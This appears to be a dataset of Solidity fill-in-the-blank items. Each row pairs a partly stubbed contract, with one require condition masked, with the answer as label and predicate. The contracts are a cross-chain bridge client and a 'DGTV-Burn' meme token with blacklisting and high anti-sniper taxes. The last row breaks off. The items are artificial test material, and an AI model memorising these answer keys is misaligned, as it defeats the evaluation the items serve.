comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"AnycallClient: mismatch source token" | pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// three level architecture
/// top level is the `AnycallClient` which the users interact with (through UI or tools)
/// middle level is `AnyswapToken` which works as handlers and vaults for tokens
/// bottom level is the `AnycallProxy` which complete the cross-chain interaction
// SPDX-License-Identifier: GPL-3.0-or-later
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
}
modifier whenPaused(bytes32 role) {
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
abstract contract AdminControl {
address public admin;
address public pendingAdmin;
event ChangeAdmin(address indexed _old, address indexed _new);
event ApplyAdmin(address indexed _old, address indexed _new);
constructor(address _admin) {
}
modifier onlyAdmin() {
}
function changeAdmin(address _admin) external onlyAdmin {
}
function applyAdmin() external {
}
}
abstract contract AdminPausableControl is AdminControl, PausableControl {
constructor(address _admin) AdminControl(_admin) {}
function pause(bytes32 role) external onlyAdmin {
}
function unpause(bytes32 role) external onlyAdmin {
}
}
/// three level architecture
/// top level is the `AnycallClient` which the users interact with (through UI or tools)
/// middle level is `AnyswapToken` which works as handlers and vaults for tokens
/// bottom level is the `AnycallProxy` which complete the cross-chain interaction
interface IApp {
function anyExecute(bytes calldata _data) external returns (bool success, bytes memory result);
}
interface IAnyswapToken {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
function withdraw(uint256 amount, address to) external returns (uint256);
}
interface IAnycallExecutor {
function context() external returns (address from, uint256 fromChainID, uint256 nonce);
}
interface IAnycallV6Proxy {
function executor() external view returns (address);
function anyCall(address _to, bytes calldata _data, address _fallback, uint256 _toChainID, uint256 _flags) external payable;
}
abstract contract AnycallClientBase is IApp, AdminPausableControl {
address public callProxy;
address public executor;
// associated client app on each chain
mapping(uint256 => address) public clientPeers; // key is chainId
modifier onlyExecutor() {
}
constructor(address _admin, address _callProxy) AdminPausableControl(_admin) {
}
receive() external payable {
}
function setCallProxy(address _callProxy) external onlyAdmin {
}
function setClientPeers(uint256[] calldata _chainIds, address[] calldata _peers) external onlyAdmin {
}
}
contract AnyswapTokenAnycallClient is AnycallClientBase {
using SafeERC20 for IERC20;
// pausable control roles
bytes32 public constant PAUSE_SWAPOUT_ROLE = keccak256("PAUSE_SWAPOUT_ROLE");
bytes32 public constant PAUSE_SWAPIN_ROLE = keccak256("PAUSE_SWAPIN_ROLE");
bytes32 public constant PAUSE_FALLBACK_ROLE = keccak256("PAUSE_FALLBACK_ROLE");
// associated tokens on each chain
mapping(address => mapping(uint256 => address)) public tokenPeers;
event LogSwapout(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 toChainId);
event LogSwapin(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 fromChainId);
event LogSwapoutFail(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 toChainId);
constructor(address _admin, address _callProxy) AnycallClientBase(_admin, _callProxy) {}
function setTokenPeers(address srcToken, uint256[] calldata chainIds, address[] calldata dstTokens) external onlyAdmin {
}
/// @dev Call by the user to submit a request for a cross chain interaction
function swapout(
address token,
uint256 amount,
address receiver,
uint256 toChainId,
uint256 flags
) external payable whenNotPaused(PAUSE_SWAPOUT_ROLE) {
}
/// @notice Call by `AnycallProxy` to execute a cross chain interaction on the destination chain
function anyExecute(
bytes calldata data
) external override onlyExecutor whenNotPaused(PAUSE_SWAPIN_ROLE) returns (bool success, bytes memory result) {
bytes4 selector = bytes4(data[:4]);
if (selector == this.anyExecute.selector) {
(
address srcToken,
address dstToken,
uint256 amount,
address sender,
address receiver, //uint256 toChainId
) = abi.decode(data[4:], (address, address, uint256, address, address, uint256));
(address from, uint256 fromChainId, ) = IAnycallExecutor(executor).context();
require(clientPeers[fromChainId] == from, "AnycallClient: wrong context");
require(<FILL_ME>)
address _underlying = _getUnderlying(dstToken);
if (_underlying != address(0) && (IERC20(_underlying).balanceOf(dstToken) >= amount)) {
IAnyswapToken(dstToken).mint(address(this), amount);
IAnyswapToken(dstToken).withdraw(amount, receiver);
} else {
assert(IAnyswapToken(dstToken).mint(receiver, amount));
}
emit LogSwapin(dstToken, sender, receiver, amount, fromChainId);
} else if (selector == 0xa35fe8bf) {
// bytes4(keccak256('anyFallback(address,bytes)'))
(address _to, bytes memory _data) = abi.decode(data[4:], (address, bytes));
anyFallback(_to, _data);
} else {
return (false, "unknown selector");
}
return (true, "");
}
/// @dev Call back by `AnycallProxy` on the originating chain if the cross chain interaction fails
function anyFallback(address to, bytes memory data) internal whenNotPaused(PAUSE_FALLBACK_ROLE) {
}
function _getUnderlying(address token) internal returns (address) {
}
}
| tokenPeers[dstToken][fromChainId]==srcToken,"AnycallClient: mismatch source token" | 486,910 | tokenPeers[dstToken][fromChainId]==srcToken |
"AnycallClient: mismatch dest client" | pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// three level architecture
/// top level is the `AnycallClient` which the users interact with (through UI or tools)
/// middle level is `AnyswapToken` which works as handlers and vaults for tokens
/// bottom level is the `AnycallProxy` which complete the cross-chain interaction
// SPDX-License-Identifier: GPL-3.0-or-later
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
}
modifier whenPaused(bytes32 role) {
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
abstract contract AdminControl {
address public admin;
address public pendingAdmin;
event ChangeAdmin(address indexed _old, address indexed _new);
event ApplyAdmin(address indexed _old, address indexed _new);
constructor(address _admin) {
}
modifier onlyAdmin() {
}
function changeAdmin(address _admin) external onlyAdmin {
}
function applyAdmin() external {
}
}
abstract contract AdminPausableControl is AdminControl, PausableControl {
constructor(address _admin) AdminControl(_admin) {}
function pause(bytes32 role) external onlyAdmin {
}
function unpause(bytes32 role) external onlyAdmin {
}
}
/// three level architecture
/// top level is the `AnycallClient` which the users interact with (through UI or tools)
/// middle level is `AnyswapToken` which works as handlers and vaults for tokens
/// bottom level is the `AnycallProxy` which complete the cross-chain interaction
interface IApp {
function anyExecute(bytes calldata _data) external returns (bool success, bytes memory result);
}
interface IAnyswapToken {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
function withdraw(uint256 amount, address to) external returns (uint256);
}
interface IAnycallExecutor {
function context() external returns (address from, uint256 fromChainID, uint256 nonce);
}
interface IAnycallV6Proxy {
function executor() external view returns (address);
function anyCall(address _to, bytes calldata _data, address _fallback, uint256 _toChainID, uint256 _flags) external payable;
}
abstract contract AnycallClientBase is IApp, AdminPausableControl {
address public callProxy;
address public executor;
// associated client app on each chain
mapping(uint256 => address) public clientPeers; // key is chainId
modifier onlyExecutor() {
}
constructor(address _admin, address _callProxy) AdminPausableControl(_admin) {
}
receive() external payable {
}
function setCallProxy(address _callProxy) external onlyAdmin {
}
function setClientPeers(uint256[] calldata _chainIds, address[] calldata _peers) external onlyAdmin {
}
}
contract AnyswapTokenAnycallClient is AnycallClientBase {
using SafeERC20 for IERC20;
// pausable control roles
bytes32 public constant PAUSE_SWAPOUT_ROLE = keccak256("PAUSE_SWAPOUT_ROLE");
bytes32 public constant PAUSE_SWAPIN_ROLE = keccak256("PAUSE_SWAPIN_ROLE");
bytes32 public constant PAUSE_FALLBACK_ROLE = keccak256("PAUSE_FALLBACK_ROLE");
// associated tokens on each chain
mapping(address => mapping(uint256 => address)) public tokenPeers;
event LogSwapout(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 toChainId);
event LogSwapin(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 fromChainId);
event LogSwapoutFail(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 toChainId);
constructor(address _admin, address _callProxy) AnycallClientBase(_admin, _callProxy) {}
function setTokenPeers(address srcToken, uint256[] calldata chainIds, address[] calldata dstTokens) external onlyAdmin {
}
/// @dev Call by the user to submit a request for a cross chain interaction
function swapout(
address token,
uint256 amount,
address receiver,
uint256 toChainId,
uint256 flags
) external payable whenNotPaused(PAUSE_SWAPOUT_ROLE) {
}
/// @notice Call by `AnycallProxy` to execute a cross chain interaction on the destination chain
function anyExecute(
bytes calldata data
) external override onlyExecutor whenNotPaused(PAUSE_SWAPIN_ROLE) returns (bool success, bytes memory result) {
}
/// @dev Call back by `AnycallProxy` on the originating chain if the cross chain interaction fails
function anyFallback(address to, bytes memory data) internal whenNotPaused(PAUSE_FALLBACK_ROLE) {
(address _from, , ) = IAnycallExecutor(executor).context();
require(_from == address(this), "AnycallClient: wrong context");
(bytes4 selector, address srcToken, address dstToken, uint256 amount, address from, address receiver, uint256 toChainId) = abi
.decode(data, (bytes4, address, address, uint256, address, address, uint256));
require(selector == this.anyExecute.selector, "AnycallClient: wrong fallback data");
require(<FILL_ME>)
require(tokenPeers[srcToken][toChainId] == dstToken, "AnycallClient: mismatch dest token");
address _underlying = _getUnderlying(srcToken);
if (_underlying != address(0) && (IERC20(srcToken).balanceOf(address(this)) >= amount)) {
IERC20(_underlying).safeTransferFrom(address(this), from, amount);
} else {
assert(IAnyswapToken(srcToken).mint(from, amount));
}
emit LogSwapoutFail(srcToken, from, receiver, amount, toChainId);
}
function _getUnderlying(address token) internal returns (address) {
}
}
| clientPeers[toChainId]==to,"AnycallClient: mismatch dest client" | 486,910 | clientPeers[toChainId]==to |
"AnycallClient: mismatch dest token" | pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// three level architecture
/// top level is the `AnycallClient` which the users interact with (through UI or tools)
/// middle level is `AnyswapToken` which works as handlers and vaults for tokens
/// bottom level is the `AnycallProxy` which complete the cross-chain interaction
// SPDX-License-Identifier: GPL-3.0-or-later
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
}
modifier whenPaused(bytes32 role) {
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
abstract contract AdminControl {
address public admin;
address public pendingAdmin;
event ChangeAdmin(address indexed _old, address indexed _new);
event ApplyAdmin(address indexed _old, address indexed _new);
constructor(address _admin) {
}
modifier onlyAdmin() {
}
function changeAdmin(address _admin) external onlyAdmin {
}
function applyAdmin() external {
}
}
abstract contract AdminPausableControl is AdminControl, PausableControl {
constructor(address _admin) AdminControl(_admin) {}
function pause(bytes32 role) external onlyAdmin {
}
function unpause(bytes32 role) external onlyAdmin {
}
}
/// three level architecture
/// top level is the `AnycallClient` which the users interact with (through UI or tools)
/// middle level is `AnyswapToken` which works as handlers and vaults for tokens
/// bottom level is the `AnycallProxy` which complete the cross-chain interaction
interface IApp {
function anyExecute(bytes calldata _data) external returns (bool success, bytes memory result);
}
interface IAnyswapToken {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
function withdraw(uint256 amount, address to) external returns (uint256);
}
interface IAnycallExecutor {
function context() external returns (address from, uint256 fromChainID, uint256 nonce);
}
interface IAnycallV6Proxy {
function executor() external view returns (address);
function anyCall(address _to, bytes calldata _data, address _fallback, uint256 _toChainID, uint256 _flags) external payable;
}
abstract contract AnycallClientBase is IApp, AdminPausableControl {
address public callProxy;
address public executor;
// associated client app on each chain
mapping(uint256 => address) public clientPeers; // key is chainId
modifier onlyExecutor() {
}
constructor(address _admin, address _callProxy) AdminPausableControl(_admin) {
}
receive() external payable {
}
function setCallProxy(address _callProxy) external onlyAdmin {
}
function setClientPeers(uint256[] calldata _chainIds, address[] calldata _peers) external onlyAdmin {
}
}
contract AnyswapTokenAnycallClient is AnycallClientBase {
using SafeERC20 for IERC20;
// pausable control roles
bytes32 public constant PAUSE_SWAPOUT_ROLE = keccak256("PAUSE_SWAPOUT_ROLE");
bytes32 public constant PAUSE_SWAPIN_ROLE = keccak256("PAUSE_SWAPIN_ROLE");
bytes32 public constant PAUSE_FALLBACK_ROLE = keccak256("PAUSE_FALLBACK_ROLE");
// associated tokens on each chain
mapping(address => mapping(uint256 => address)) public tokenPeers;
event LogSwapout(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 toChainId);
event LogSwapin(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 fromChainId);
event LogSwapoutFail(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 toChainId);
constructor(address _admin, address _callProxy) AnycallClientBase(_admin, _callProxy) {}
function setTokenPeers(address srcToken, uint256[] calldata chainIds, address[] calldata dstTokens) external onlyAdmin {
}
/// @dev Call by the user to submit a request for a cross chain interaction
function swapout(
address token,
uint256 amount,
address receiver,
uint256 toChainId,
uint256 flags
) external payable whenNotPaused(PAUSE_SWAPOUT_ROLE) {
}
/// @notice Call by `AnycallProxy` to execute a cross chain interaction on the destination chain
function anyExecute(
bytes calldata data
) external override onlyExecutor whenNotPaused(PAUSE_SWAPIN_ROLE) returns (bool success, bytes memory result) {
}
/// @dev Call back by `AnycallProxy` on the originating chain if the cross chain interaction fails
function anyFallback(address to, bytes memory data) internal whenNotPaused(PAUSE_FALLBACK_ROLE) {
(address _from, , ) = IAnycallExecutor(executor).context();
require(_from == address(this), "AnycallClient: wrong context");
(bytes4 selector, address srcToken, address dstToken, uint256 amount, address from, address receiver, uint256 toChainId) = abi
.decode(data, (bytes4, address, address, uint256, address, address, uint256));
require(selector == this.anyExecute.selector, "AnycallClient: wrong fallback data");
require(clientPeers[toChainId] == to, "AnycallClient: mismatch dest client");
require(<FILL_ME>)
address _underlying = _getUnderlying(srcToken);
if (_underlying != address(0) && (IERC20(srcToken).balanceOf(address(this)) >= amount)) {
IERC20(_underlying).safeTransferFrom(address(this), from, amount);
} else {
assert(IAnyswapToken(srcToken).mint(from, amount));
}
emit LogSwapoutFail(srcToken, from, receiver, amount, toChainId);
}
function _getUnderlying(address token) internal returns (address) {
}
}
| tokenPeers[srcToken][toChainId]==dstToken,"AnycallClient: mismatch dest token" | 486,910 | tokenPeers[srcToken][toChainId]==dstToken |
"DTVBURN, cant hold more than max hold dude, sorry" | pragma solidity ^0.8.17;
//SPDX-License-Identifier: UNLICENCED
/*
DGTV-Burn
8% tax on buy and sell, 8% tax on transfers
starting taxes:
sniper: 30% sell, 25% buy
antisnipe permanently disables.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract DOGETVBURN is IERC20, Auth {
using SafeMath for uint256;
// fees. all uint8 for gas efficiency and storage.
/* @dev
all fees are set with 1 decimal places added, please remember this when setting fees.
*/
uint8 public liquidityFee = 5;
uint8 public marketingFee = 70;
uint8 public burnFee = 5;
uint8 public totalFee = 80;
uint16 public initialSellFee = 300; // rek the sniper bots
uint16 public initialBuyFee = 250; // rek the sniper bots
// denominator. uint 16 for storage efficiency - makes the above fees all to 1 dp.
uint16 public AllfeeDenominator = 1000;
// trading control;
bool public canTrade = false;
uint256 public launchedAt;
// tokenomics - uint256 BN but located here fro storage efficiency
uint256 _totalSupply = 1 * 10**7 * (10 **_decimals); //10 mil
uint256 public _maxTxAmount = _totalSupply / 100; // 1%
uint256 public _maxHoldAmount = _totalSupply / 50; // 2%
uint256 public swapThreshold = _totalSupply / 500; // 0.2%
uint256 public tokenBurned;
uint256 public totalEthSpent;
uint256 public marketingReceived;
//Important addresses
address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // mainnet tether, used to get price;
address DogeTV = 0xFEb6d5238Ed8F1d59DCaB2db381AA948e625966D;
//address USDT = 0xF99a0CbEa2799f8d4b51709024454F74eD63a86D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public pair;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public pairs;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isMaxHoldExempt;
mapping (address => bool) isBlacklisted;
IDEXRouter public router;
bool public swapEnabled = true;
bool inSwap;
address[] public subbedUsers;
uint public totalSubs;
modifier swapping() { }
string constant _name = "DGTV-Burn";
string constant _symbol = "$DGTVB";
uint8 constant _decimals = 18;
bool public initialTaxesEnabled = true;
constructor (address tokenOwner) Auth(tokenOwner) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function getEstimatedTokenForUSDT(uint USDTAmount) public view returns (uint) {
}
function setBlacklistedStatus(address walletToBlacklist, bool isBlacklistedBool)external authorized{
}
function setBlacklistArray(address[] calldata walletToBlacklistArray)external authorized{
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function setSwapThresholdDivisor(uint divisor)external authorized {
}
function approveMax(address spender) external returns (bool) {
}
function setmaxholdpercentage(uint256 percentageMul10) external authorized {
}
function allowtrading()external authorized {
}
function addNewPair(address newPair)external authorized{
}
function removePair(address pairToRemove)external authorized{
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(!canTrade){
require(sender == owner, "DTVBURN, Only owner or presale Contract allowed to add LP"); // only owner allowed to trade or add liquidity
}
if(sender != owner && recipient != owner){
if(!pairs[recipient] && !isMaxHoldExempt[recipient]){
require(<FILL_ME>)
}
}
checkTxLimit(sender, recipient, amount);
require(!isBlacklisted[sender] && !isBlacklisted[recipient], "DTVBURN, Sorry bro, youre blacklisted");
if(!launched() && pairs[recipient]){ require(_balances[sender] > 0); launch(); }
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
_balances[sender] = _balances[sender].sub(amount, "DTVBURN, Insufficient Balance");
uint256 amountReceived = 0;
if(!shouldTakeFee(sender) || !shouldTakeFee(recipient)){
amountReceived = amount;
}else{
bool isbuy = pairs[sender];
amountReceived = takeFee(sender, isbuy, amount);
}
if(shouldSwapBack(recipient)){ swapBack(); }
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, address reciever, uint256 amount) internal view {
}
function shouldTakeFee(address endpt) internal view returns (bool) {
}
function takeFee(address sender, bool isBuy, uint256 amount) internal returns (uint256) {
}
function setInitialfees(uint8 _initialBuyFeePercentMul10, uint8 _initialSellFeePercentMul10) external authorized {
}
// returns any mis-sent tokens to the marketing wallet
function claimtokensback(IERC20 tokenAddress) external authorized {
}
function launched() internal view returns (bool) {
}
function launch() internal {
}
function stopInitialTax()external authorized{
}
function setTxLimit(uint256 amount) external authorized {
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
}
/*
Dev sets the individual buy fees
*/
function setFees(uint8 _liquidityFeeMul10, uint8 _marketingFeeMul10, uint8 _burnFeeMul10) external authorized {
}
function swapBack() internal swapping {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external authorized {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
}
function shouldSwapBack(address recipient) internal view returns (bool) {
}
function getCirculatingSupply() public view returns (uint256) {
}
event AutoLiquify(uint256 amountPairToken, uint256 amountToken);
event BurnedToken(uint256 amountOfToken, uint256 amountOfEth, uint256 totalTokenBurned, uint256 totalEthBurned);
}
| balanceOf(recipient)+amount<=_maxHoldAmount,"DTVBURN, cant hold more than max hold dude, sorry" | 486,915 | balanceOf(recipient)+amount<=_maxHoldAmount |
"DTVBURN taxes can never exceed 8%" | pragma solidity ^0.8.17;
//SPDX-License-Identifier: UNLICENCED
/*
DGTV-Burn
8% tax on buy and sell, 8% tax on transfers
starting taxes:
sniper: 30% sell, 25% buy
antisnipe permanently disables.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract DOGETVBURN is IERC20, Auth {
using SafeMath for uint256;
// fees. all uint8 for gas efficiency and storage.
/* @dev
all fees are set with 1 decimal places added, please remember this when setting fees.
*/
uint8 public liquidityFee = 5;
uint8 public marketingFee = 70;
uint8 public burnFee = 5;
uint8 public totalFee = 80;
uint16 public initialSellFee = 300; // rek the sniper bots
uint16 public initialBuyFee = 250; // rek the sniper bots
// denominator. uint 16 for storage efficiency - makes the above fees all to 1 dp.
uint16 public AllfeeDenominator = 1000;
// trading control;
bool public canTrade = false;
uint256 public launchedAt;
// tokenomics - uint256 BN but located here fro storage efficiency
uint256 _totalSupply = 1 * 10**7 * (10 **_decimals); //10 mil
uint256 public _maxTxAmount = _totalSupply / 100; // 1%
uint256 public _maxHoldAmount = _totalSupply / 50; // 2%
uint256 public swapThreshold = _totalSupply / 500; // 0.2%
uint256 public tokenBurned;
uint256 public totalEthSpent;
uint256 public marketingReceived;
//Important addresses
address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // mainnet tether, used to get price;
address DogeTV = 0xFEb6d5238Ed8F1d59DCaB2db381AA948e625966D;
//address USDT = 0xF99a0CbEa2799f8d4b51709024454F74eD63a86D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public pair;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public pairs;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isMaxHoldExempt;
mapping (address => bool) isBlacklisted;
IDEXRouter public router;
bool public swapEnabled = true;
bool inSwap;
address[] public subbedUsers;
uint public totalSubs;
modifier swapping() { }
string constant _name = "DGTV-Burn";
string constant _symbol = "$DGTVB";
uint8 constant _decimals = 18;
bool public initialTaxesEnabled = true;
constructor (address tokenOwner) Auth(tokenOwner) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function getEstimatedTokenForUSDT(uint USDTAmount) public view returns (uint) {
}
function setBlacklistedStatus(address walletToBlacklist, bool isBlacklistedBool)external authorized{
}
function setBlacklistArray(address[] calldata walletToBlacklistArray)external authorized{
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function setSwapThresholdDivisor(uint divisor)external authorized {
}
function approveMax(address spender) external returns (bool) {
}
function setmaxholdpercentage(uint256 percentageMul10) external authorized {
}
function allowtrading()external authorized {
}
function addNewPair(address newPair)external authorized{
}
function removePair(address pairToRemove)external authorized{
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
